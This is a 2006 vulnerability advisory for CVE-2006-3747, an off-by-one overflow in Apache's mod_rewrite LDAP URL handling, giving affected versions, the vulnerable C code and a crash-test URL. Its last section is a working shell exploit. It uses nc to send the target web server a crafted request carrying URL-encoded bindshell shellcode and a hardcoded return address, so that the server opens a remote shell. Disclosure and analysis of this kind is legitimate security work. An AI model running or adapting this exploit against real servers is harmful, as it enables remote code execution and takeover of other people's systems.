Public release date of POC/Exploit: 2006-08-20
Author: Jacobo Avariento Gimeno
CVE id: CVE-2006-3747
Bugtraq id: 19204
CERT advisory: VU#395412
Severity: high


Introduction
----
On July 28 2006 Mark Dowd (McAfee Avert Labs) reported a vulnerability
found in mod_rewrite apache module to the bugtraq mailing list.
The vulnerable function is escape_absolute_uri() and the problem only
could be arised when mod_rewrite is dealing with an LDAP URL, a
malformed LDAP URL could trigger an off-by-one overflow in certain
(special) situations and a possible attacker could cause a
denial-of-service or execute arbitrary code with the privileges of
the apache user.
To exploit this vulnerability isn't necessary an LDAP-specific rule,
but must have a rule which the user can control the inital part of the
remapped URL, i.e.: 

RewriteRule foo/(.*) $1

Any version of the Apache HTTP server:
 * 1.3 branch:  >1.3.28 and <1.3.37
 * 2.0 branch:  >2.0.46 and <2.0.59
 * 2.2 branch:  >2.2.0  and <2.2.3
is vulnerable.


Analysis of the vulnerable code
----

  2696  /* escape absolute uri, which may or may not be path oriented.
  2697   * So let's handle them differently.
  2698   */
  2699  static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme) 
  2700  {
  2701      char *cp;
  2702  ...
  ...
  2727   /* special thing for ldap.
  2728    * The parts are separated by question marks. From RFC 2255: 
  2729    *     ldapurl = scheme "://" [hostport] ["/"
  2730    *               [dn ["?" [attributes] ["?" [scope]
  2731    *               ["?" [filter] ["?" extensions]]]]]]
  2732    */ 
  2733          if (!strncasecmp(uri, "ldap", 4)) {
  2734              char *token[5];
  2735              int c = 0;
  2736  
  2737              token[0] = cp = ap_pstrdup(p, cp);
  2738              while (*cp && c < 5) {
  2739                  if (*cp == '?') {
  2740                      token[++c] = cp + 1;
  2741                      *cp = '\0';
  2742                  }
  2743                  ++cp;
  2744              }

In the case that an LDAP URI contains a fifth '?' the line 2740 causes
an off-by-one overflow, it's writing in token[5].
To exploit this problem is necessary a vulnerable apache version and a
specific stack frame layout.

Proof of concept
----

To know if your apache vulnerable version could be successful
exploited, write this rule in your httpd.conf or .htaccess file:

RewriteRule kung/(.*) $1

And try to access to the following URL:
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB

If your web server doesn't reply you with a '302 Found' page or a
Segmentation Fault appears in your error_log, an apache child has
crashed and your web server is vulnerable and exploitable.

Exploit
----

This exploit was successful executed on Apache 1.3.34, debian
sarge package:

#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
# 
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
  echo "Usage: $0 webserver"
  exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80


More info is coming at http://ciberjacobo.com/sec/mod_rewrite.html


-- 
Jacobo Avariento Gimeno
http://ciberjacobo.com
OpenPGP key: http://ciberjacobo.com/key.pem